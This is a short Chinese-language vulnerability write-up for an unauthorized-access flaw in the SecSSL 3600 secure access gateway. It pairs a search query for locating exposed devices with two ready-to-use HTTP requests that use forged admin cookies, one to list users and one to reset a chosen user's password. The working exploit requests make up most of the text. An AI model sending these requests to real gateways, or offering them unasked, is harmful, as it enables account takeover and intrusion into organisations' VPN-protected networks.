网神 SecSSL 3600安全接入网关系统 未授权访问漏洞
漏洞描述
网神 SecSSL 3600安全接入网关系统 存在未授权访问漏洞，攻击者通过漏洞可以获取用户列表，并修改用户账号密码
漏洞影响
<a-checkbox checked>网神 SecSSL 3600安全接入网关系统 </a-checkbox>
网络测绘
<a-checkbox checked>app="安全接入网关SecSSLVPN" </a-checkbox>
漏洞复现
登陆页面
验证POC，获取用户列表zkec
GET /admin/group/x_group.php?id=2
Cookie: admin_id=1; gw_admin_ticket=1;
修改用户密码
POST /changepass.php?type=2
Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"ceshi","subAuthId":"1"}
old_pass=&password=Asd123!@#123A&repassword=Asd123!@#123A